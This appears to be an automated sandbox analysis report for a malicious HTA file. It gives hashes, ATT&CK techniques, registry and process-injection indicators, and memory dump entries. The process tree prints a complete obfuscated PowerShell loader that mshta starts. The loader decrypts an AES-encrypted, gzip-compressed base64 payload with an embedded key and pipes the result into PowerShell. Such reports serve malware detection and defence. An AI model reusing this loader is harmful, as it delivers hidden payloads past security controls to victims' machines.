4551133648c40891ae3153c93c96f6fdd8c23b9c4fd3a0cb61a5092da2f38f41

General

Target

qxhbj.hta
Size

74KB
MD5

b6079dca9dd507c2cd9e5d988edf3822
SHA1

263585b64c4f8d60293764053aa6cb90673dc999
SHA256

4551133648c40891ae3153c93c96f6fdd8c23b9c4fd3a0cb61a5092da2f38f41
SHA512

a0387c9e2374998960f87cc1c415fa29465c04c5afd06023f82a0b81483805951512111acadaa54a6af79502d467171f922ef694fd71cf45995ecba5370f60cb
SSDEEP

768:Il/RkkYVb3FT8kQ7M+HO0r8aul0UchiMk0sS7:GukYVbd8ke3uC5ulAZuS7

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2932	powershell.exe
2656	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2772 wrote to memory of 2932	2772	mshta.exe	28
PID 2772 wrote to memory of 2932	2772	mshta.exe	28
PID 2772 wrote to memory of 2932	2772	mshta.exe	28
PID 2772 wrote to memory of 2932	2772	mshta.exe	28
PID 2932 wrote to memory of 2656	2932	powershell.exe	30
PID 2932 wrote to memory of 2656	2932	powershell.exe	30
PID 2932 wrote to memory of 2656	2932	powershell.exe	30
PID 2932 wrote to memory of 2656	2932	powershell.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\qxhbj.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $fZSRGpe = 'AAAAAAAAAAAAAAAAAAAAANe8iT6aUdWnM9cxbq5YpLTsUt3/KlEeLn2U+/ec/zbmIgP8b7r79bvA0eFBN2R5WIMVa8tg04mq8S3KQz9bxkeJ1MF2CNCV4TUmuKgtK4GuTDoZNIdN1yHi0KmulMM+Mj1vEOpnWpSxJV3NI95kAMuyAv0tZqsdcA9TriOVw8uSoGuTKMAvZafG0D4G2NKrrukOSclLQxud2ZgA302sN6wlaXsdbYXXbFNVlB4LSqK/t5ytYmwR+8HmLt5Uu1xtTlA11PAJR86Veo9t7lTYBl5q7hQvusWiezMEIl+hNKgJZ9xapkoj9rxsHwaxSdLhM1hxa3aspjB0tBwrcI5ddDaIZB1Yged9d0bAkM9ke2a+90eXhdIfXWlyCsBBQoC9TYDPQ5086LN3Ai1YHkrX4dta5TD9hD8mjV+zfor8c4CpIK+Mzz15IPkk7nTsN+x/QVPHQbssz50B6lnBKAMncfU9qlYqEOIh55Qs6pLP7/CoLKB1zBnSysAE2aKUwhPJtTBzTruFB7IZu5lvxp9eDwP4g8co2sLAfn9uLVIr6mXVs/FadscZCBRHlTjRMvwn23WQcIyxnix+0anud0h/nL5sYkPt8ApDuJs75tM/hL9D7sZKZleAJtypCgCd/tQ/Np21x16j9sRLR5uU0V7P1wXGvxlZWoBqTB7ElfMQ1gP/hMj4tEJL4GDxJjJst7FdX2wXL8YD8bPlaiIOQDyuauj6sWRwtTuJG4oKjbTlKTqG6UVP7KKQt1W0JY91SnkH4zI1yXY78p5q02vldgB7gbN4Gr8mdbs75elM4+JC5SzcVmvib5kRJ0z4XAhLc/fVK6F2Xsry01hJXZ4l2bmcV8yGml2/ZW03oNLtHV3f2n9bbo0Vf77cmPkHnf4zSB9iIZY74EVhqmsDcrft1c2Ir+S00lHT8oFmf9QZyVYEa58YmjId+17rtHm7cyQ2QBpQMP71S54OEV5VEUf6Q8K/eE5vp3ObTvDVP0GbBF27TNmo09HCBPqbfLKgH9ONAemoeQgRO5aiwZhbEcpyzjaEJM7yOWKJi/Jev1kbbmN5x29LJHIBnq8inXyFa8cALUG2xHqyYtKgl1ZHxBo8ZLrL+RXBtKOja5Nyj9o6D2mipACg0K0mL8T5uWJsmAgY+Sc/wZv+N+2XMvC5tei9uGal5wnbRVeaY2wUHipCdT546YihLEjkKLg1gkH8rZkIX4IoUA==';$fRNnXP = 'c3BWRnJZZE10Z3JVbG5ySWpqZ09QWFVLd2FzckhiblU=';$dmIEqwzR = New-Object 'System.Security.Cryptography.AesManaged';$dmIEqwzR.Mode = [System.Security.Cryptography.CipherMode]::ECB;$dmIEqwzR.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$dmIEqwzR.BlockSize = 128;$dmIEqwzR.KeySize = 256;$dmIEqwzR.Key = [System.Convert]::FromBase64String($fRNnXP);$LmEgn = [System.Convert]::FromBase64String($fZSRGpe);$dBvbIHmm = $LmEgn[0..15];$dmIEqwzR.IV = $dBvbIHmm;$jxZcIjVXh = $dmIEqwzR.CreateDecryptor();$wekAqpkqE = $jxZcIjVXh.TransformFinalBlock($LmEgn, 16, $LmEgn.Length - 16);$dmIEqwzR.Dispose();$XWqxhr = New-Object System.IO.MemoryStream( , $wekAqpkqE );$shQNvH = New-Object System.IO.MemoryStream;$XXlHwHgWC = New-Object System.IO.Compression.GzipStream $XWqxhr, ([IO.Compression.CompressionMode]::Decompress);$XXlHwHgWC.CopyTo( $shQNvH );$XXlHwHgWC.Close();$XWqxhr.Close();[byte[]] $uQlWtSPQ = $shQNvH.ToArray();$mLKlE = [System.Text.Encoding]::UTF8.GetString($uQlWtSPQ);$mLKlE | powershell -
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
4011b14119173ff74c8718f7fa0a9ce6

SHA1
c0c09f0ceaa5e4e1a76d7e268e97a8c781f9184b

SHA256
1af34e55da8c8653a1fe86e678e33acbaf261b0b61e263b4880d9bc57893471c

SHA512
969bfd6904f7d15e2de47292dad6fac0dfb455710961b2cc99bf928be4b8d850f69fae80fb2c55aad5804a3c7dc2da88f66cb5fc3e59778bbda91b07d7ea5ec7

Download Submit
memory/2656-10-0x00000000721B0000-0x000000007275B000-memory.dmp

Filesize
5.7MB

Download
memory/2656-11-0x00000000721B0000-0x000000007275B000-memory.dmp

Filesize
5.7MB

Download
memory/2656-12-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2656-13-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2656-14-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2656-15-0x00000000721B0000-0x000000007275B000-memory.dmp

Filesize
5.7MB

Download
memory/2932-2-0x00000000721B0000-0x000000007275B000-memory.dmp

Filesize
5.7MB

Download
memory/2932-3-0x00000000721B0000-0x000000007275B000-memory.dmp

Filesize
5.7MB

Download
memory/2932-4-0x0000000002620000-0x0000000002660000-memory.dmp

Filesize
256KB

Download
memory/2932-16-0x00000000721B0000-0x000000007275B000-memory.dmp

Filesize
5.7MB

Download

Analysis

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